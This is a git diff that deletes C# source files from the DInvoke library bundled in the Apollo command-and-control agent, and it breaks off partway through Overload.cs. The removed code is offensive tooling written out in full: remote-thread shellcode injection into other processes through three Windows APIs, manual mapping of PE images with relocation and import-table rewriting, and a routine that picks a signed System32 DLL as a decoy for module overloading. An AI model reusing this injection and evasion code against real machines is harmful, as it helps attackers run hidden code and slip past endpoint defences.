b/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/Injection/Execution.cs deleted file mode 100644 index 67e0cc12..00000000 --- a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/Injection/Execution.cs +++ /dev/null @@ -1,250 +0,0 @@ -using System; -using System.Linq; -using System.Reflection; -using System.Diagnostics; - -namespace DInvokeResolver.DInvoke.Injection -{ - /// - /// Base class for Injection strategies. - /// - public abstract class ExecutionTechnique - { - - //An array containing a set of PayloadType objects that are supported. - protected Type[] supportedPayloads; - - /// - /// Informs objects using this technique whether or not it supports the type of a particular payload. - /// - /// The Wover (@TheRealWover) - /// A payload. - /// Whether or not the payload is of a supported type for this strategy. - public abstract bool IsSupportedPayloadType(PayloadType payload); - - /// - /// Internal method for setting the supported payload types. Used in constructors. - /// - /// The Wover (@TheRealWover) - abstract internal void DefineSupportedPayloadTypes(); - - /// - /// Inject and execute a payload in the target process using a specific allocation technique. - /// - /// The Wover (@TheRealWover) - /// The type of payload to execute. - /// The allocation technique to use. - /// The target process. - /// bool - public bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, Process Process) - { - Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType(), Process.GetType() }; - - try - { - // Get delegate to the overload of Inject that supports the type of payload passed in - MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); - - // Dynamically invoke the appropriate Allocate overload - return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique, Process }); - } - // If there is no such method - catch (ArgumentNullException) - { - throw new PayloadTypeNotSupported(Payload.GetType()); - } - } - - /// - /// Execute a payload in the target process at a specified address. - /// - /// The Wover (@TheRealWover) - /// The type of payload to execute. - /// The base address of the payload. - /// The target process. - /// bool - public virtual bool Inject(PayloadType Payload, IntPtr BaseAddress, Process Process) - { - Type[] funcPrototype = new Type[] { Payload.GetType(), BaseAddress.GetType(), Process.GetType() }; - - try - { - // Get delegate to the overload of Inject that supports the type of payload passed in - MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); - - // Dynamically invoke the appropriate Allocate overload - return (bool)inject.Invoke(this, new object[] { Payload, BaseAddress, Process }); - } - // If there is no such method - catch (ArgumentNullException) - { - throw new PayloadTypeNotSupported(Payload.GetType()); - } - } - - /// - /// Execute a payload in the current process using a specific allocation technique. - /// - /// The Wover (@TheRealWover) - /// The type of payload to execute. - /// The allocation technique to use. - /// - public virtual bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique) - { - Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType() }; - - try - { - // Get delegate to the overload of Inject that supports the type of payload passed in - MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); - - // Dynamically invoke the appropriate Allocate overload - return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique }); - } - // If there is no such method - catch (ArgumentNullException) - { - throw new PayloadTypeNotSupported(Payload.GetType()); - } - } - } - - - /// - /// Executes a payload in a remote process by creating a new thread. Allows the user to specify which API call to use for remote thread creation. - /// - public class RemoteThreadCreate : ExecutionTechnique - { - // Publically accessible options - public bool suspended = false; - public APIS api = APIS.NtCreateThreadEx; - - public enum APIS : int - { - NtCreateThreadEx = 0, - // NtCreateThread = 1, // Not implemented - RtlCreateUserThread = 2, - CreateRemoteThread = 3 - }; - - // Handle of the new thread. Only valid after the thread has been created. - public IntPtr handle = IntPtr.Zero; - - /// - /// Default constructor. - /// - public RemoteThreadCreate() - { - DefineSupportedPayloadTypes(); - } - - /// - /// Constructor allowing options as arguments. - /// - public RemoteThreadCreate(bool susp = false, APIS varAPI = APIS.NtCreateThreadEx) - { - DefineSupportedPayloadTypes(); - suspended = susp; - api = varAPI; - } - - /// - /// States whether the payload is supported. - /// - /// The Wover (@TheRealWover) - /// Payload that will be allocated. - /// - public override bool IsSupportedPayloadType(PayloadType Payload) - { - return supportedPayloads.Contains(Payload.GetType()); - } - - /// - /// Internal method for setting the supported payload types. Used in constructors. - /// Update when new types of payloads are added. - /// - /// The Wover (@TheRealWover) - internal override void DefineSupportedPayloadTypes() - { - // Defines the set of supported payload types. - supportedPayloads = new Type[] { - typeof(PICPayload) - }; - } - - public bool Inject(PICPayload Payload, AllocationTechnique AllocationTechnique, Process Process) - { - IntPtr baseAddr = AllocationTechnique.Allocate(Payload, Process); - return Inject(Payload, baseAddr, Process); - } - - /// - /// Create a thread in the remote process. - /// - /// The Wover (@TheRealWover) - /// The shellcode payload to execute in the target process. - /// The address of the shellcode in the target process. - /// The target process to inject into. - /// - public bool Inject(PICPayload Payload, IntPtr BaseAddress, Process Process) - { - IntPtr threadHandle = new IntPtr(); - Data.Native.NTSTATUS result = Data.Native.NTSTATUS.Unsuccessful; - - if (api == APIS.NtCreateThreadEx) - { - // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. - result = DynamicInvoke.Native.NtCreateThreadEx( - ref threadHandle, - Data.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, - IntPtr.Zero, - Process.Handle, BaseAddress, IntPtr.Zero, - suspended, 0, 0, 0, IntPtr.Zero - ); - } - else if (api == APIS.RtlCreateUserThread) - { - // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. - result = DynamicInvoke.Native.RtlCreateUserThread( - Process.Handle, - IntPtr.Zero, - suspended, - IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, - BaseAddress, - IntPtr.Zero, ref threadHandle, IntPtr.Zero - ); - } - else if (api == APIS.CreateRemoteThread) - { - uint flags = suspended ? (uint)0x00000004 : 0; - IntPtr threadid = new IntPtr(); - - // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. - threadHandle = DynamicInvoke.Win32.CreateRemoteThread( - Process.Handle, - IntPtr.Zero, - 0, - BaseAddress, - IntPtr.Zero, - flags, - ref threadid - ); - - if (threadHandle == IntPtr.Zero) - { - return false; - } - handle = threadHandle; - return true; - } - - // If successful, return the handle to the new thread. Otherwise return NULL - if (result != Data.Native.NTSTATUS.Success) - { - return false; - } - handle = threadHandle; - return true; - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/Injection/Injector.cs b/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/Injection/Injector.cs deleted file mode 100644 index c43ccdfe..00000000 --- a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/Injection/Injector.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System.Diagnostics; - -namespace DInvokeResolver.DInvoke.Injection -{ - /// - /// Provides static functions for performing injection using a combination of Allocation and Execution components. - /// - /// The Wover (@TheRealWover) - public static class Injector - { - /// - /// Inject a payload into a target process using a specified allocation and execution technique. - /// - /// The Wover (@TheRealWover) - /// - /// - /// - /// - /// - public static bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, ExecutionTechnique ExecutionTechnique, Process Process) - { - return ExecutionTechnique.Inject(Payload, AllocationTechnique, Process); - } - - /// - /// Inject a payload into the current process using a specified allocation and execution technique. - /// - /// - /// - /// - /// - public static bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, ExecutionTechnique ExecutionTechnique) - { - return ExecutionTechnique.Inject(Payload, AllocationTechnique); - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/Injection/Payload.cs b/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/Injection/Payload.cs deleted file mode 100644 index 7ea65c86..00000000 --- a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/Injection/Payload.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System; - -namespace DInvokeResolver.DInvoke.Injection -{ - /// - /// Base class for all types of payloads. - /// Variants are responsible for specifying what types of payloads they support. - /// - /// The Wover (@TheRealWover) - public abstract class PayloadType - { - public byte[] Payload { get; private set; } - - // Constructor that requires the user to pass in the payload as a byte array. - protected PayloadType(byte[] data) - { - Payload = data; - } - } - - /// - /// Represents payloads that are position-independent-code. - /// - /// The Wover (@TheRealWover) - public class PICPayload : PayloadType - { - // Declares the constructor as equivalent to that of the base class. - public PICPayload(byte[] data) : base(data) { } - } - - /// - /// Exception thrown when the type of a payload is not supported by a injection variant. - /// - /// The Wover (@TheRealWover) - public class PayloadTypeNotSupported : Exception - { - public PayloadTypeNotSupported() { } - - public PayloadTypeNotSupported(Type payloadType) : base(string.Format("Unsupported Payload type: {0}", payloadType.Name)) { } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/ManualMap/Map.cs b/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/ManualMap/Map.cs deleted file mode 100644 index 57925415..00000000 --- a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/ManualMap/Map.cs +++ /dev/null @@ -1,555 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Runtime.InteropServices; - - -namespace DInvokeResolver.DInvoke.ManualMap -{ - /// - /// Class for manually mapping PEs. - /// - public class Map - { - - /// - /// Maps a DLL from disk into a Section using NtCreateSection. - /// - /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) - /// Full path fo the DLL on disk. - /// PE.PE_MANUAL_MAP - public static Data.PE.PE_MANUAL_MAP MapModuleFromDiskToSection(string DLLPath) - { - // Check file exists - if (!File.Exists(DLLPath)) - { - throw new InvalidOperationException("Filepath not found."); - } - - // Open file handle - Data.Native.UNICODE_STRING ObjectName = new Data.Native.UNICODE_STRING(); - DynamicInvoke.Native.RtlInitUnicodeString(ref ObjectName, (@"\??\" + DLLPath)); - IntPtr pObjectName = Marshal.AllocHGlobal(Marshal.SizeOf(ObjectName)); - Marshal.StructureToPtr(ObjectName, pObjectName, true); - - Data.Native.OBJECT_ATTRIBUTES objectAttributes = new Data.Native.OBJECT_ATTRIBUTES(); - objectAttributes.Length = Marshal.SizeOf(objectAttributes); - objectAttributes.ObjectName = pObjectName; - objectAttributes.Attributes = 0x40; // OBJ_CASE_INSENSITIVE - - Data.Native.IO_STATUS_BLOCK ioStatusBlock = new Data.Native.IO_STATUS_BLOCK(); - - IntPtr hFile = IntPtr.Zero; - DynamicInvoke.Native.NtOpenFile( - ref hFile, - Data.Win32.Kernel32.FileAccessFlags.FILE_READ_DATA | - Data.Win32.Kernel32.FileAccessFlags.FILE_EXECUTE | - Data.Win32.Kernel32.FileAccessFlags.FILE_READ_ATTRIBUTES | - Data.Win32.Kernel32.FileAccessFlags.SYNCHRONIZE, - ref objectAttributes, ref ioStatusBlock, - Data.Win32.Kernel32.FileShareFlags.FILE_SHARE_READ | - Data.Win32.Kernel32.FileShareFlags.FILE_SHARE_DELETE, - Data.Win32.Kernel32.FileOpenFlags.FILE_SYNCHRONOUS_IO_NONALERT | - Data.Win32.Kernel32.FileOpenFlags.FILE_NON_DIRECTORY_FILE - ); - - // Create section from hFile - IntPtr hSection = IntPtr.Zero; - ulong MaxSize = 0; - Data.Native.NTSTATUS ret = DynamicInvoke.Native.NtCreateSection( - ref hSection, - (UInt32)Data.Win32.WinNT.ACCESS_MASK.SECTION_ALL_ACCESS, - IntPtr.Zero, - ref MaxSize, - Data.Win32.WinNT.PAGE_READONLY, - Data.Win32.WinNT.SEC_IMAGE, - hFile - ); - - // Map view of file - IntPtr pBaseAddress = IntPtr.Zero; - DynamicInvoke.Native.NtMapViewOfSection( - hSection, (IntPtr)(-1), ref pBaseAddress, - IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, - ref MaxSize, 0x2, 0x0, - Data.Win32.WinNT.PAGE_READWRITE - ); - - // Prepare return object - Data.PE.PE_MANUAL_MAP SecMapObject = new Data.PE.PE_MANUAL_MAP - { - PEINFO = DynamicInvoke.Generic.GetPeMetaData(pBaseAddress), - ModuleBase = pBaseAddress - }; - - DynamicInvoke.Win32.CloseHandle(hFile); - - return SecMapObject; - } - - /// - /// Allocate file to memory from disk - /// - /// Ruben Boonen (@FuzzySec) - /// Full path to the file to be alloacted. - /// IntPtr base address of the allocated file. - public static IntPtr AllocateFileToMemory(string FilePath) - { - if (!File.Exists(FilePath)) - { - throw new InvalidOperationException("Filepath not found."); - } - - byte[] bFile = File.ReadAllBytes(FilePath); - return AllocateBytesToMemory(bFile); - } - - /// - /// Allocate a byte array to memory - /// - /// Ruben Boonen (@FuzzySec) - /// Byte array to be allocated. - /// IntPtr base address of the allocated file. - public static IntPtr AllocateBytesToMemory(byte[] FileByteArray) - { - IntPtr pFile = Marshal.AllocHGlobal(FileByteArray.Length); - Marshal.Copy(FileByteArray, 0, pFile, FileByteArray.Length); - return pFile; - } - - /// - /// Relocates a module in memory. - /// - /// Ruben Boonen (@FuzzySec) - /// Module meta data struct (PE.PE_META_DATA). - /// Base address of the module in memory. - /// void - public static void RelocateModule(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase) - { - Data.PE.IMAGE_DATA_DIRECTORY idd = PEINFO.Is32Bit ? PEINFO.OptHeader32.BaseRelocationTable : PEINFO.OptHeader64.BaseRelocationTable; - Int64 ImageDelta = PEINFO.Is32Bit ? (Int64)((UInt64)ModuleMemoryBase - PEINFO.OptHeader32.ImageBase) : - (Int64)((UInt64)ModuleMemoryBase - PEINFO.OptHeader64.ImageBase); - - // Ptr for the base reloc table - IntPtr pRelocTable = (IntPtr)((UInt64)ModuleMemoryBase + idd.VirtualAddress); - Int32 nextRelocTableBlock = -1; - // Loop reloc blocks - while (nextRelocTableBlock != 0) - { - Data.PE.IMAGE_BASE_RELOCATION ibr = new Data.PE.IMAGE_BASE_RELOCATION(); - ibr = (Data.PE.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(pRelocTable, typeof(Data.PE.IMAGE_BASE_RELOCATION)); - - Int64 RelocCount = ((ibr.SizeOfBlock - Marshal.SizeOf(ibr)) / 2); - for (int i = 0; i < RelocCount; i++) - { - // Calculate reloc entry ptr - IntPtr pRelocEntry = (IntPtr)((UInt64)pRelocTable + (UInt64)Marshal.SizeOf(ibr) + (UInt64)(i * 2)); - UInt16 RelocValue = (UInt16)Marshal.ReadInt16(pRelocEntry); - - // Parse reloc value - // The type should only ever be 0x0, 0x3, 0xA - // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#base-relocation-types - UInt16 RelocType = (UInt16)(RelocValue >> 12); - UInt16 RelocPatch = (UInt16)(RelocValue & 0xfff); - - // Perform relocation - if (RelocType != 0) // IMAGE_REL_BASED_ABSOLUTE (0 -> skip reloc) - { - try - { - IntPtr pPatch = (IntPtr)((UInt64)ModuleMemoryBase + ibr.VirtualAdress + RelocPatch); - if (RelocType == 0x3) // IMAGE_REL_BASED_HIGHLOW (x86) - { - Int32 OriginalPtr = Marshal.ReadInt32(pPatch); - Marshal.WriteInt32(pPatch, (OriginalPtr + (Int32)ImageDelta)); - } - else // IMAGE_REL_BASED_DIR64 (x64) - { - Int64 OriginalPtr = Marshal.ReadInt64(pPatch); - Marshal.WriteInt64(pPatch, (OriginalPtr + ImageDelta)); - } - } - catch - { - throw new InvalidOperationException("Memory access violation."); - } - } - } - - // Check for next block - pRelocTable = (IntPtr)((UInt64)pRelocTable + ibr.SizeOfBlock); - nextRelocTableBlock = Marshal.ReadInt32(pRelocTable); - } - } - - /// - /// Rewrite IAT for manually mapped module. - /// - /// Ruben Boonen (@FuzzySec) - /// Module meta data struct (PE.PE_META_DATA). - /// Base address of the module in memory. - /// void - public static void RewriteModuleIAT(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase) - { - Data.PE.IMAGE_DATA_DIRECTORY idd = PEINFO.Is32Bit ? PEINFO.OptHeader32.ImportTable : PEINFO.OptHeader64.ImportTable; - - // Check if there is no import table - if (idd.VirtualAddress == 0) - { - // Return so that the rest of the module mapping process may continue. - return; - } - - // Ptr for the base import directory - IntPtr pImportTable = (IntPtr)((UInt64)ModuleMemoryBase + idd.VirtualAddress); - - // Get API Set mapping dictionary if on Win10+ - Data.Native.OSVERSIONINFOEX OSVersion = new Data.Native.OSVERSIONINFOEX(); - DynamicInvoke.Native.RtlGetVersion(ref OSVersion); - Dictionary ApiSetDict = new Dictionary(); - if (OSVersion.MajorVersion >= 10) - { - ApiSetDict = DynamicInvoke.Generic.GetApiSetMapping(); - } - - // Loop IID's - int counter = 0; - Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR iid = new Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR(); - iid = (Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure( - (IntPtr)((UInt64)pImportTable + (uint)(Marshal.SizeOf(iid) * counter)), - typeof(Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR) - ); - while (iid.Name != 0) - { - // Get DLL - string DllName = string.Empty; - try - { - DllName = Marshal.PtrToStringAnsi((IntPtr)((UInt64)ModuleMemoryBase + iid.Name)); - } - catch { } - - // Loop imports - if (DllName == string.Empty) - { - throw new InvalidOperationException("Failed to read DLL name."); - } - else - { - string LookupKey = DllName.Substring(0, DllName.Length - 6) + ".dll"; - // API Set DLL? Ignore the patch number. - if (OSVersion.MajorVersion >= 10 && (DllName.StartsWith("api-") || DllName.StartsWith("ext-")) && - ApiSetDict.ContainsKey(LookupKey) && ApiSetDict[LookupKey].Length > 0) - { - // Not all API set DLL's have a registered host mapping - DllName = ApiSetDict[LookupKey]; - } - - // Check and / or load DLL - IntPtr hModule = DynamicInvoke.Generic.GetLoadedModuleAddress(DllName); - if (hModule == IntPtr.Zero) - { - hModule = DynamicInvoke.Generic.LoadModuleFromDisk(DllName); - if (hModule == IntPtr.Zero) - { - throw new FileNotFoundException(DllName + ", unable to find the specified file."); - } - } - - // Loop thunks - if (PEINFO.Is32Bit) - { - Data.PE.IMAGE_THUNK_DATA32 oft_itd = new Data.PE.IMAGE_THUNK_DATA32(); - for (int i = 0; true; i++) - { - oft_itd = (Data.PE.IMAGE_THUNK_DATA32)Marshal.PtrToStructure((IntPtr)((UInt64)ModuleMemoryBase + iid.OriginalFirstThunk + (UInt32)(i * (sizeof(UInt32)))), typeof(Data.PE.IMAGE_THUNK_DATA32)); - IntPtr ft_itd = (IntPtr)((UInt64)ModuleMemoryBase + iid.FirstThunk + (UInt64)(i * (sizeof(UInt32)))); - if (oft_itd.AddressOfData == 0) - { - break; - } - - if (oft_itd.AddressOfData < 0x80000000) // !IMAGE_ORDINAL_FLAG32 - { - IntPtr pImpByName = (IntPtr)((UInt64)ModuleMemoryBase + oft_itd.AddressOfData + sizeof(UInt16)); - IntPtr pFunc = IntPtr.Zero; - pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, Marshal.PtrToStringAnsi(pImpByName)); - - // Write ProcAddress - Marshal.WriteInt32(ft_itd, pFunc.ToInt32()); - } - else - { - ulong fOrdinal = oft_itd.AddressOfData & 0xFFFF; - IntPtr pFunc = IntPtr.Zero; - pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, (short)fOrdinal); - - // Write ProcAddress - Marshal.WriteInt32(ft_itd, pFunc.ToInt32()); - } - } - } - else - { - Data.PE.IMAGE_THUNK_DATA64 oft_itd = new Data.PE.IMAGE_THUNK_DATA64(); - for (int i = 0; true; i++) - { - oft_itd = (Data.PE.IMAGE_THUNK_DATA64)Marshal.PtrToStructure((IntPtr)((UInt64)ModuleMemoryBase + iid.OriginalFirstThunk + (UInt64)(i * (sizeof(UInt64)))), typeof(Data.PE.IMAGE_THUNK_DATA64)); - IntPtr ft_itd = (IntPtr)((UInt64)ModuleMemoryBase + iid.FirstThunk + (UInt64)(i * (sizeof(UInt64)))); - if (oft_itd.AddressOfData == 0) - { - break; - } - - if (oft_itd.AddressOfData < 0x8000000000000000) // !IMAGE_ORDINAL_FLAG64 - { - IntPtr pImpByName = (IntPtr)((UInt64)ModuleMemoryBase + oft_itd.AddressOfData + sizeof(UInt16)); - IntPtr pFunc = IntPtr.Zero; - pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, Marshal.PtrToStringAnsi(pImpByName)); - - // Write pointer - Marshal.WriteInt64(ft_itd, pFunc.ToInt64()); - } - else - { - ulong fOrdinal = oft_itd.AddressOfData & 0xFFFF; - IntPtr pFunc = IntPtr.Zero; - pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, (short)fOrdinal); - - // Write pointer - Marshal.WriteInt64(ft_itd, pFunc.ToInt64()); - } - } - } - - // Go to the next IID - counter++; - iid = (Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure( - (IntPtr)((UInt64)pImportTable + (uint)(Marshal.SizeOf(iid) * counter)), - typeof(Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR) - ); - } - } - } - - /// - /// Set correct module section permissions. - /// - /// Ruben Boonen (@FuzzySec) - /// Module meta data struct (PE.PE_META_DATA). - /// Base address of the module in memory. - /// void - public static void SetModuleSectionPermissions(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase) - { - // Apply RO to the module header - IntPtr BaseOfCode = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.BaseOfCode : (IntPtr)PEINFO.OptHeader64.BaseOfCode; - DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref ModuleMemoryBase, ref BaseOfCode, Data.Win32.WinNT.PAGE_READONLY); - - // Apply section permissions - foreach (Data.PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections) - { - bool isRead = (ish.Characteristics & Data.PE.DataSectionFlags.MEM_READ) != 0; - bool isWrite = (ish.Characteristics & Data.PE.DataSectionFlags.MEM_WRITE) != 0; - bool isExecute = (ish.Characteristics & Data.PE.DataSectionFlags.MEM_EXECUTE) != 0; - uint flNewProtect = 0; - if (isRead & !isWrite & !isExecute) - { - flNewProtect = Data.Win32.WinNT.PAGE_READONLY; - } - else if (isRead & isWrite & !isExecute) - { - flNewProtect = Data.Win32.WinNT.PAGE_READWRITE; - } - else if (isRead & isWrite & isExecute) - { - flNewProtect = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE; - } - else if (isRead & !isWrite & isExecute) - { - flNewProtect = Data.Win32.WinNT.PAGE_EXECUTE_READ; - } - else if (!isRead & !isWrite & isExecute) - { - flNewProtect = Data.Win32.WinNT.PAGE_EXECUTE; - } - else - { - throw new InvalidOperationException("Unknown section flag, " + ish.Characteristics); - } - - // Calculate base - IntPtr pVirtualSectionBase = (IntPtr)((UInt64)ModuleMemoryBase + ish.VirtualAddress); - IntPtr ProtectSize = (IntPtr)ish.VirtualSize; - - // Set protection - DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref pVirtualSectionBase, ref ProtectSize, flNewProtect); - } - } - - /// - /// Manually map module into current process. - /// - /// Ruben Boonen (@FuzzySec) - /// Full path to the module on disk. - /// PE_MANUAL_MAP object - public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(string ModulePath) - { - // Alloc module into memory for parsing - IntPtr pModule = AllocateFileToMemory(ModulePath); - return MapModuleToMemory(pModule); - } - - /// - /// Manually map module into current process. - /// - /// Ruben Boonen (@FuzzySec) - /// Full byte array of the module. - /// PE_MANUAL_MAP object - public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(byte[] Module) - { - // Alloc module into memory for parsing - IntPtr pModule = AllocateBytesToMemory(Module); - return MapModuleToMemory(pModule); - } - - /// - /// Manually map module into current process starting at the specified base address. - /// - /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) - /// Full byte array of the module. - /// Address in memory to map module to. - /// PE_MANUAL_MAP object - public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(byte[] Module, IntPtr pImage) - { - // Alloc module into memory for parsing - IntPtr pModule = AllocateBytesToMemory(Module); - - return MapModuleToMemory(pModule, pImage); - } - - /// - /// Manually map module into current process. - /// - /// Ruben Boonen (@FuzzySec) - /// Pointer to the module base. - /// PE_MANUAL_MAP object - public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule) - { - // Fetch PE meta data - Data.PE.PE_META_DATA PEINFO = DynamicInvoke.Generic.GetPeMetaData(pModule); - - // Check module matches the process architecture - if ((PEINFO.Is32Bit && IntPtr.Size == 8) || (!PEINFO.Is32Bit && IntPtr.Size == 4)) - { - Marshal.FreeHGlobal(pModule); - throw new InvalidOperationException("The module architecture does not match the process architecture."); - } - - // Alloc PE image memory -> RW - IntPtr BaseAddress = IntPtr.Zero; - IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage; - IntPtr pImage = DynamicInvoke.Native.NtAllocateVirtualMemory( - (IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize, - Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE, - Data.Win32.WinNT.PAGE_READWRITE - ); - return MapModuleToMemory(pModule, pImage, PEINFO); - } - - /// - /// Manually map module into current process. - /// - /// Ruben Boonen (@FuzzySec) - /// Pointer to the module base. - /// Pointer to the PEINFO image. - /// PE_MANUAL_MAP object - public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule, IntPtr pImage) - { - Data.PE.PE_META_DATA PEINFO = DynamicInvoke.Generic.GetPeMetaData(pModule); - return MapModuleToMemory(pModule, pImage, PEINFO); - } - - /// - /// Manually map module into current process. - /// - /// Ruben Boonen (@FuzzySec) - /// Pointer to the module base. - /// Pointer to the PEINFO image. - /// PE_META_DATA of the module being mapped. - /// PE_MANUAL_MAP object - public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule, IntPtr pImage, Data.PE.PE_META_DATA PEINFO) - { - // Check module matches the process architecture - if ((PEINFO.Is32Bit && IntPtr.Size == 8) || (!PEINFO.Is32Bit && IntPtr.Size == 4)) - { - Marshal.FreeHGlobal(pModule); - throw new InvalidOperationException("The module architecture does not match the process architecture."); - } - - // Write PE header to memory - UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders; - UInt32 BytesWritten = DynamicInvoke.Native.NtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders); - - // Write sections to memory - foreach (Data.PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections) - { - // Calculate offsets - IntPtr pVirtualSectionBase = (IntPtr)((UInt64)pImage + ish.VirtualAddress); - IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + ish.PointerToRawData); - - // Write data - BytesWritten = DynamicInvoke.Native.NtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, ish.SizeOfRawData); - if (BytesWritten != ish.SizeOfRawData) - { - throw new InvalidOperationException("Failed to write to memory."); - } - } - - // Perform relocations - RelocateModule(PEINFO, pImage); - - // Rewrite IAT - RewriteModuleIAT(PEINFO, pImage); - - // Set memory protections - SetModuleSectionPermissions(PEINFO, pImage); - - // Free temp HGlobal - Marshal.FreeHGlobal(pModule); - - // Prepare return object - Data.PE.PE_MANUAL_MAP ManMapObject = new Data.PE.PE_MANUAL_MAP - { - ModuleBase = pImage, - PEINFO = PEINFO - }; - - return ManMapObject; - } - - /// - /// Free a module that was mapped into the current process. - /// - /// The Wover (@TheRealWover) - /// The metadata of the manually mapped module. - public static void FreeModule(Data.PE.PE_MANUAL_MAP PEMapped) - { - // Check if PE was mapped via module overloading - if (!string.IsNullOrEmpty(PEMapped.DecoyModule)) - { - DynamicInvoke.Native.NtUnmapViewOfSection((IntPtr)(-1), PEMapped.ModuleBase); - } - // If PE not mapped via module overloading, free the memory. - else - { - Data.PE.PE_META_DATA PEINFO = PEMapped.PEINFO; - - // Get the size of the module in memory - IntPtr size = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage; - IntPtr pModule = PEMapped.ModuleBase; - - DynamicInvoke.Native.NtFreeVirtualMemory((IntPtr)(-1), ref pModule, ref size, Data.Win32.Kernel32.MEM_RELEASE); - } - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/ManualMap/Overload.cs b/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/ManualMap/Overload.cs deleted file mode 100644 index 8253bcd4..00000000 --- a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/ManualMap/Overload.cs +++ /dev/null @@ -1,132 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Linq; - -namespace DInvokeResolver.DInvoke.ManualMap -{ - public class Overload - { - /// - /// Locate a signed module with a minimum size which can be used for overloading. - /// - /// The Wover (@TheRealWover) - /// Minimum module byte size. - /// Whether to require that the module be legitimately signed. - /// - /// String, the full path for the candidate module if one is found, or an empty string if one is not found. - /// - public static string FindDecoyModule(long MinSize, bool LegitSigned = true) - { - string SystemDirectoryPath = Environment.GetEnvironmentVariable("WINDIR") + Path.DirectorySeparatorChar + "System32"; - List files = new List(Directory.GetFiles(SystemDirectoryPath, "*.dll")); - foreach (ProcessModule Module in Process.GetCurrentProcess().Modules) - { - if (files.Any(s => s.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase))) - { - files.RemoveAt(files.FindIndex(x => x.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase))); - } - } - - //Pick a random candidate that meets the requirements - - Random r = new Random(); - //List of candidates that have been considered and rejected - List candidates = new List(); - while (candidates.Count != files.Count) - { - //Iterate through the list of files randomly - int rInt = r.Next(0, 